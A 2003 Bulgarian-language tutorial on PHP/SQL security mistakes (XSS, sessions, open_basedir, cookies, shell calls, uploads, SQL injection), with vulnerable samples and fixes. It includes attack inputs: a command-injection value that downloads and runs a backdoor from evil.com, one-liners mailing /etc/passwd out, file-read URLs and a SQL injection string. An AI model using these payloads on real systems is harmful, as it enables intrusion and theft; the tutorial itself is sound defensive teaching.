ot sheib(30-08-2003)

reiting (49)   [ dobre ]  [ zle ]

Printer Friendly Variant za otpechatvane

Problemi i nedoglezhdane pri PHP/SQL programirane
-------------------------------------------------

-- sheib [sheib at phreedom dot org]




:: Indeks

: CHast 1 - [Vuvedenie]

- Pregled
- Ideia za sigurnost

: CHast 2 - [Problemi/Greshki]

- XSS/Cross Site Scripting
- Rabota sus sesii
- Open_basedir
- Biskviti (cookies)
- Vunshni programi, safe_mode
- Promenlivi m/u skriptove
- HTTP Upload na failove
- Inzhektirane na SQL kod
- BD, Kodirana informatsiia

: CHast 3 - [Zaklyuchenie]
: CHast 4 - [Referentsii]

- Linkove/Literatura

::



[Vuvedenie]


- Pregled -

Kogato se zagovori za ueb programirane, edni ot nai-chesto spomenavanite dumi
sa PHP/Perl/ASP/XML/XSLT/SQL. Tazi statiia razglezhda problemi, koito vuznikvat
v sledstvie na ne - dostatuchno - dobre premisleniiat kod i subitiiata, koito
mogat da sluchat pri suvsem ne proizvolen stsenarii. Klyuchovi dumi: PHP, XSS,
SQL Injection, Session Management.

- Ideia za sigurnost -

Printsiput na deistvie na edna sredno zashtitena kompyuturna sistema e v sistema-
tichnoto analizirane na potokut ot informatsiia kum/ot neia i metodite, po koito
se tretira toi.


[Problemi/Greshki]


- XSS/Cross Site Scripting -


[test1.php]
<? print $_GET['myname']; ?>

Sledniiat primer izglezhda napulno bezobiden, dokato ne bude osuznat riskut ot
XSS tip ataka. Zlonameren potrebitel mozhe lesno da promeni stoinostta na
'myname' kato dobavi vrazhdeben HTML/Javascript kod kum nego, sled koeto go
izprati kato link na drug potrebitel, koito ne podozira nishto neredno,
dokato saita napodobiava realniiat si vid. Po takuv nachin mogat da budat
otkradnati informatsiia za identifitsirane pred sistemata, sesiini cookies i
druga lichna informatsiia. Podobna razvruzka mozhe lesno da bude izbegnata
sled filtrirane na stoinostta na promenlivata:

<? print htmlspecialchars($_GET['myname']); ?>

Sushtiiat variant ima prilozhenie pri HTTP POST ($_POST) formi.


- Rabota sus sesii -

Osnovna rolia na sesiite e da predavat profilirano dannite ot edna stranitsa
kum druga. CHrez ID klyucha na sesiite, potrebitelite na saita mogat da se
otorizirat pred sistemata. Mnogo chesto obache sus sesiinite ID-ta se spekulira
za dostup do personalna informatsiia i pr. Ne riadko linkove s ID-ta se postvat
nevolno po forumi, irc, chrez meil, browser history, otmetki (bookmarks) i na
drugi publichni mesta.

PHP >= 4.2 dava vuzmozhnost identifikatsionnite nomera na sesiite da se kriiat,
chrez upotreba na 'session.use_trans_sid' v php.ini.

Druga nadezhdna optsiia e klyuchovete na sesiite da se promeniat vseki put pri
logvane, chrez sledniiat skript:



[test2.php]
<?
 session_start();
 $oldsession = $_SESSION;
 session_destroy();
 session_start();
 $_SESSION = $oldsession;
 ?>

- safe_mode, open_basedir -

'PHP4 Bible' na Tim Konvurs i Dzhois Park (ISBN 0-7645-4716-X) predlaga
sravnitelno pulna introduktsiia na PHP/MySQL, zaradi koeto e predpochitana ot
horata izuchavashti ezika. Vupreki tova, knigata izobilstva ot neznachitelni do
seriozni greshki, no se spriah na samo edna ot tiah, tui kato beshe upomenato,
che tochno tozi kod e siguren i predotvratiava iztichane na informatsiia. V
originalnoto izdanie (angliiski) na stranitsa 572, chast 3, sektsiia 'Advanced
Techniques' se kazva:

"Niakolko chesto sreshtani greshki pri programirane na PHP mogat da pomognat i
ulesniat haker da prochete pochti vseki fail na survura. Razgledaite sledvashtata
stranitsa:

[test3.php]
<?php
  if (isset($poem)) {
          $fp = fopen($poem,
"r");
          print (fread($fp, filesize($poem))); fclose($fp); }
 ?>
...".


Dotuk dobre. http://example/?poem=$file naistina pokazva $file. Produlzhava:

"Sledvashtiiat kod e podhodiashto reshenie na tozi problem:

[test4.php]
<?php
  if (isset($poem)) {
         switch ($poem) {
                  case "jabb":
$poem_file = "jabb.html"; break;
                  case "graves":
 $poem_file = "graves.html";
break;
         }
          if (isset($poem_file)) {
                  $fp = fopen($poem_file, "r");
                  print
 (fread($fp, filesize($poem_file)));
                  fclose($fp);
         }
 }
 ?>
...".


Spored avtorite na knigata, tozi primer (test4.php) reshava problema pri
test3.php. Slednoto HTTP GET iskane obache, se vuzpolzva ot nepravilno
upotrebenite promenlivi (vseki fail po failovata sistema s prava pone o+r
e dostupen):

http://example.com/?poem=the_intruder&poem_file=/etc/passwd

Izpolzvane na register_globals tuk vse oshte ne reshava problema. Ot tuk natatuk
mogat da se razgledat pone 2 varianta. Purvo, da se opredeli 'open_basedir' v
php.ini,

open_basedir = '/home/sheib/public_html/unsafe'

ili ot httpd.conf:

<Directory /home/sheib/public_html/unsafe>
php_admin_value open_basedir /home/sheib/public_html/unsafe
</Directory>

chrez koeto da se ogranichi dostupa do resursi, koito ne prinadlezhat na
suotvetniia potrebitel ili da se filtrira stoinostta na 'poem_file' chrez
reguliarni izrazi (regexps).

Upotrebata na 'open_basedir' e idealnoto reshenie pri hosting na mnogo saitove
(po-nadolu shte stane duma kak niakoi administratori se muchat neumelo da go
zaobikoliat), no vupreki tova se limitira seriozno funktsionalnostta na saita.
Sledovatelno e dobre da se izpolzva malko po-razdvizhen podhod:

[test5.php]
<?
  function log_inv($ip,
$time="") {
          global $ip, $pip,
$time;
          $ip = $_SERVER['REMOTE_ADDR'];
          $pip = $_SERVER['HTTP_X_FORWARDED_FOR'];
          $port = $_SERVER['REMOTE_PORT'];
          $host = $_SERVER['REMOTE_HOST'];
          $agent = $_SERVER['HTTP_USER_AGENT'];
          $req = $_SERVER['REQUEST_URI'];
          $file = '/tmp/invreq.log';
          $time = date('m/d/Y H:i:s');
          if (isset($pip)){
                 $ip = $pip;
         };
          $fp = fopen($file,
'a');
          fputs($fp, "$time $host:$ip:$port [$agent]
($req)\n");
         fclose($fp);
          die('<b>Nevalidno iskane ot
'.$ip.'</b>');
 }

  if (ereg('[/\%-+& |><]', $_GET['poem_file'])) {  log_inv($ip, $time);  
 }  // ... 
?>

Taka, log_inv() shte zapisva vsichki nevalidni URI iskaniia.

Primerut, za koito stana vupros po-gore e sreshtnat pri edin ot populiarnite
bulgarski IT dostavchitsi. Administratorut se e opital da se opazi ot
izpulnenie na php failove, veroiatno dochul za stsenariia pri DirBG -
(http://ezine.hit.bg/mat/dirbg_howto), no vupreki tova tiahnoto kachvane chrez
ftp e razresheno:

[httpd.conf]

<VirtualHost www.xxx.net xxxx.net 212.36.xxx.xxx:80>
RewriteEngine on
RewriteRule ^/~(.*).php$ /usr/local/www/data/nophp.html
# RewriteRule ^/~(.)(.*)$ /home/$1/$1$2
RewriteRule ^/~(([a-z])[a-z0-9]+)(.*) /home/$2/$1/$3
ServerAdmin root@xxxx.net
DocumentRoot /usr/local/www/data
ServerName www.xxxx.net
ErrorLog /var/log/apache/www.xxxx.net-err
CustomLog /var/log/apache/www.xxxx.net-acc combined
</VirtualHost>

Ot "RewriteRule ^/~(.*).php$ /usr/local/www/data/nophp.html" e vidno,
che ne sa zhelaeli failove s razshirenie .php da se izpulniavat na ueb survura
za tozi sait. Failove s razshirenie .php3 sushto ne sa razresheni. Fatalnata
greshka, nezabelezhima na pruv pogled, e v nekorektno izpolzvanato rewrite(1)
pravilo, pozvoliavashto izpulnenie na .pHP, .pHp, .PHP, .Php i t.n. failove.
Sistemata, a po-kusno i mrezhata sa bili komprometirani v sledstvie na
edinstveno tazi greshka.


- Biskviti (cookies) -

Kukitata sa nesiguren (no udoben) nachin za surhranenie na informatsiia ot
stranata na klienta, poradi vuzmozhnostta s tiah da se spekulira. Stsenarii,
pri koito edna sistema za glasuvane, razchita edinstveno na proverkata na
stoinostta na biskvitata, koiato samata tia ustanoviava (ili preustanoviava),
mozhe da bude lesno preodoliana kato prosto se zabrani deistvieto na cookies
ot brauzura. Neotdavna OSNews.com ustanoviha tochno takiva zloupotrebi i
se nalozhi da prenapishat niakoi chasti ot saita si. V takuv sluchai e dobre e
da se polzva IP-baziran ili podoben podhod:

[test6.php]
<?
 // ... 
  // edin glas ot IP v 24 chasov
interval  
 $timeoutseconds = 3600*24;
 $timestamp = time();
 $timeout = $timestamp-$timeoutseconds;
  mysql_query("DELETE FROM $tbl_ip WHERE
 timestamp<$timeout") or die(mysql_error());
  $query = "SELECT ip FROM $tbl_ip WHERE
ip = '$ip'";
  $result = mysql_query($query) or die(mysql_error());
  $numrows = mysql_num_rows($result);
  if ($numrows < '1' and $vote != '0') {
          // ne e glasuvano ot tozi
adres v predishnite 24 chasa  
          $insert = "INSERT INTO $tbl_ip
(ip, timestamp, choice) ";
          $insert .= "VALUES ('$ip',
'$timestamp', '$vote')";
          mysql_query($insert) or die($lwp['msg']['2']);
  }
 else {
          // pokazva rezultati 

         show_res();
          // prezarezhdane/dvoino
glasuvane spira dotuk
         die($warn);
 }
 //...  
 ?>

Biskvitite mogat da budat otkradnati pri XSS tip hakove. Vupreki tova sa
lesni i udobni za izpolzvane, a suhranenie na poveritelna informatsiia, makar
i kodirana, ne e zhelatelno.


- Vunshni programi -

Mnogo ot sistemnite administatori i programisti otchitat fakta, che protsesite
/skriptovete vsushtnost se izpulniavat ot potrebiteliat startiral ueb survura.
V obshtiia sluchai - nobody/www. Taka, te chesto pribiagvat do zabrana na niakoi
PHP fukntsii (schitaiki che taka mogat da se predpaziat), chrez naglasiane na
'disable_functions' v konfig. fail na PHP. V cherniiat spisuk chesto popadat
passthru(), fpassthru(), system(), readfile(), exec(), proc_open() i drugi.
Vupreki tova, ima predostatuchno dopulnitelni vuzmozhnosti, koito mogat da
budat izpolzvani ot zlonamereni litsa. V tova chislo i bezvredno izglezhdashtata
(na niakogo) mail() fukntsiia:

[test7.php]
<? mail("h@k", "sub",
 join('', file('/etc/passwd')), "From: lol"); ?>

CHrez "``" sushto mogat da budat izpulniavani komandi. Vuzmozhen podhod e
opredeliane na 'safe_mode' (php.ini). PHP modulut shte proveri dali pritezhatel
iat na skripta e sobstvenik i na faila, vurhu koito se opitva da operira:

-rw-r--r-- 1 evildoer evildoer 120 Oct 10 09:11 test7.php
-rw-r--r-- 1 root root 1116 Oct 4 12:10 /etc/passwd

$ php -q test7.php

Warning: SAFE MODE Restriction in effect. The script whose uid is 500 is
not allowed to access /etc/passwd owned by uid 0 in /home/evildoer/mail.php
on line 2

Ot vreme na vreme shte se nalaga da polzvate vunshni programi chrez koda si.
Nai-obezpokoiavashtata chast za administratorite e kogato fukntsiite vikashti
tezi programi se nalaga da rabotiat s yuzur-kontroliraniiat query string.
Sledniiat primer pokazva nedoobmislena upotreba na popen():



[test8.php]
<? $fp = popen('/usr/sbin/sendmail -i '. $to, 'w'); ?>
Rezultatut ot

GET /test8.php?to=hostile%40box+%3c+%2fetc%2fpasswd HTTP/1.0

e:

$ mail hostile@box < /etc/passwd  V takuv sluchai, mogat da se prilozhat escapeshellcmd() i escapeshellarg():  <? $fp = popen('/usr/sbin/sendmail -i '. escapeshellarg($to), 'w'); ?>

Ne malko ISP firmi predlagat uslugi kato LookingGlass, Whois, Traceroute
i t.n. chrez ueb stranitsite si. Naskoro sreshtnah tozi kod v losho izmislen
skript:

[test9.php]
<?php
 //... 
 switch($var){
         case whois:{
                  if($name ==
 ""){ echo "ERROR:
Query Info Required\n"; }
                  else{ echo"<pre><font color=#423D80>";
                          system("/usr/bin/whois $name");
                          echo"</pre></font>";
                 }
                 break;;
         }

         //...

         ?>

V sluchaia, programistut se doveriava sliapo na informatsiiata idvashta ot
klientskata strana i 'whois' izpulniava svobodno argumenta. Dostatuchno e
$name da bude zamenen s 'example.com ; curl http://evil.com/bd -o \
/var/tmp/bd ; /var/tmp/bd', ili dori '|', sled kato system() ne izpulniava
samo po edna komanda pri izvikvane, a podava stroinostta na shell interpre-
tatora.

- Promenlivi m/u skriptove -

Dobra ideia e vinagi da se vnimava s upotreba na include(), require()+once,
virtual(). V potvurzhdenie na kazanoto, niakoi ot populianite PHP prilozheniia
sudurzhat bugove v sledstvie na nevalidirano izpolzvane na promenlivi.
Predhodni versii na PHP-Nuke, Piranha, SquirrelMail i phpMyAdmin (po-dolu)
predlagat bogata "selektsiia" ot imenno takiva:

[test10.php]
<?
  require("lib.inc.php");
 $no_require = true;
  if(isset($goto) && $goto ==
"sql.php") {
          $goto = "sql.php?server=$server&db=$db&table=$table&pos=$pos&sql_query=".
          urlencode($sql_query);
 }
  // Go back to further page if
table should not be dropped 
  if(isset($btnDrop) &&
$btnDrop == $strNo) {
          if(file_exists($goto)) include($goto);
          else Header("Location: $goto"); exit;
         ?>
$ lynx "http://example.com/phpMyAdmin/sql.php?btnDrop=No&goto=pth/to/FILE"

otpechatva $FILE.


- HTTP Upload na failove -

Kachvaneto na failove mozhe da bude lesno, no i problematichno, poradi nachina
po koito PHP osushtestviava uplouda. Ako niakoi zealot promeni www formata za
kachvane na failove,

<form method="post" action="fup.php" enctype="multipart/form-data">
<input name="userfile" type="file">
<input type="submit" name="upload_file" value="Upload">
</form>

koiato raboti s podoben skript

[fup.php]

<?
if (!isset($upload_file) && $userfile_type == 'image/jpeg') { copy($userfile, 'dest/'); unlink($userfile);
}
?>

na

<form method="post" action="fup.php" enctype="multipart/form-data">
<input name="userfile" type="hidden" value="/etc/passwd">
<input name="userfile_type" type="hidden" value="image/jpeg">
<input type="submit" name="upload_file" value="Upload">
</form>

veroiatno shte uspee de kopira '/etc/passwd' pri svoite failove. Kato reshenie
mozhe da se zalozhi na sledniiat skript:

[test11.php]
<?
  $userfile = $_FILES['userfile']['tmp_name'];
  $userfile_name = $_FILES['userfile']['name'];
  $userfile_type = $_FILES['userfile']['type'];
  $userfile_size = $_FILES['userfile']['size'];
  if ($userfile_size <= 1)
{
          die('greshka v goleminata na faila');
 }
  if (file_exists($userfile_name)) {
          die('perzapisvane e zabraneno');
 }
  if
 (is_uploaded_file($userfile) and $userfile_size < 1000000
) {
          move_uploaded_file($userfile, 'dest'/.$userfile_name);
          echo 'gotovo';
 }
 else {
          die('greshka v goleminata na faila');
 }
 ?>

A nai-dobre e da se zabrani napulno kachvaneto na izpulnimi ot survura
failove s regexp:



[test12.php]
<?
  if (preg_match('/\.(pl|py|cgi|php[234]?$)/i',
 $_FILES['userfile']['name'] )) {
          die('err: izpulnim ot survura fail');  }
 ?>

- Inzhektirane na SQL kod -

Edno ot nai-poleznite kachestva na PHP e vuzmozhnostta za burzo i oprosteno
manipulirane s vsiakakvi RBDS-ta (MySQL, PgSQL, mSQL, SyBase, Oracle, dBASE,
DB2 i mnogo drugi komersialni). V zavisimost ot dannite, suduzhashti se v DB-
to vi, eventualen nelegitimen dostup mozhe da ima seriozni posledstviia.
test13.php e pokzva obiknoven skript, koito se svurzva s BD i izpulniava
sempla SELECT zaiavka:


[test13.php]
<?
 // ...  
  $conn = mysql_connect($location,
$username, $password);
  if (!$conn) die ($sorrymsg);
  mysql_select_db($database,$conn)
or die ($sorrymsg);
  $query = "SELECT ccinfo, ssn FROM
$private WHERE userid = '$UserID'";
  $query .= " AND secret =
'$Password'";
  $result = mysql_query($query) or die(mysql_error());
  $numrows = mysql_num_rows($result);
 // ...
 ?>

Vuprosniiat skript e chast ot e-magazin, selektirasht informatsiia otnosno
finansite i nomera na sotsialnata osigurovka na klienta. Povecheto fukntsii
za zaiavki predotvratiavat izpulenenieto na poveche ot 1 zapitvane do bazata,
taka che

db_query("SELECT * ...; UPDATE tbl_name SET ...;");

shte izpulni samo purvata zaiavka. Vsichko izglezhda v red, dokato niakoi ne
zamesti $UserID ot HTTP form. s "$UserID OR userid LIKE "%";'" (i poluchi
tsialata informatsiia za bankirane ot tablitsata) Po-novite versii na PHP imat
vgradena protektsiia sreshtu tova, kato v ini faila na PHP 'magic_quotes_gpc'
"zaobikalia" (escape) vuvedenoto ot potrebitelia GET/POST/COOKIE sudurzhanie
ot "'". Vupreki tova, ne mozhe da se razchita vinagi na tiah (mogat da budat
premahnati po reditsa prichini) i e dobre sa se polzvat addslashes() pri
promenlivi otivashti direktno kum BD i stripslashes() pri izhod.


- Kodirana informatsiia -

Po lichni nablyudeniia, mnogo ot softuera koito se pishe za onlain magazinite
se pravi taka, che tsialata informatsiia za klienta se zapisva v BD nekodirano,
t.e. vseki s privilegirovan dostup do bazata mozhe da ia razgleda spokoino i
izpolzva. Tova e seriozna greshka v dizaina na mnogo ot sistemite,
predlagashti takiva uslugi, i prichina da se zadigat vseki den hiliadi kreditni
karti zaedno s vsiakakvi poveritelni danni. Reshenieto na vuprosa ne e lesno
za izpulnenie, no puk e reshavashto za firmata-izpulnitel. Shematichno, tova
predstavliava:

> Survur za SSL tranzaktsii ot ueb (kudeto operira magazina)
> BD survur, koito raboti sus SSL protokol (kodira informatsiiata s razlichni
enkripvashti mehanizmi/standarti AES/DES/PGP/MD5 i dr.)
> Treta mashina (ne stoiashta v Internet) koiato sluzhi za vruzka direktno s BD
/SSL survura i boravi s dannite na klientite.

V kod tova mozhe da izglzhda taka:

[test14.php]
<?
  $insert = "INSERT INTO custs(card,
name, address) ";
  $insert .= "VALUES(AES_ENCRYPT('$string', '$key'),
'$name', '$addr');";
 db_query($insert);
 ?>

mysql> SELECT AES_DECRYPT('VSHMiJILSZXü', 'key_val') AS encdata;
+-------------+
| encdata       |
+-------------+
| aaadefefewf |
+-------------+
1 row in set (0.00 sec)

[Zaklyuchitelni dumi]


Obiknoveno programistite rabotiat sus srokove, koito im se postaviat kato
realni granitsi vuv vremeto. Neobhodimostta ot spazvaneto im i lipsata na
dostatuchno vreme, chesto vodi do predizvikvane na greshki, v sledstvie
ot nedooglezhdaneto i ne dobriiat dizain na koda. Za da se namali riska ot
takiva problemi, sudurzhanieto na vsiaka promenliva proizhozhdashta ot vunshni
iztochnitsi (v tova chislo cookies, get/post formi, rabota s failove i
t.n.) triabva da se analizira vnimatelno i da se opredeli validnostta i,
predi da bude razresheno polzvaneto i po-natatuk v koda. Informatsiiata,
suhraniavana v BD, nezavisimo ot prednaznachenieto i, triabva da bude umelo
zashtitena.


[Referentsii]


- Linkove/Literatura -

[1] Phreedom Magazine - http://www.phreedom.org
[2] Computer Emergency Response Team - http://www.cert.org
[3] PHP Magazine - http://www.php-mag.net
[4] PHP Architect - http://www.phparch.com

--
Posledna promiana: Sat Aug 30 16:36:50 EEST 2003


<< Antivirus na poshtenskiia survur - bezplatno i efektivno | Kak da podkarame DRI s i845' Intel Extreme Graphics >>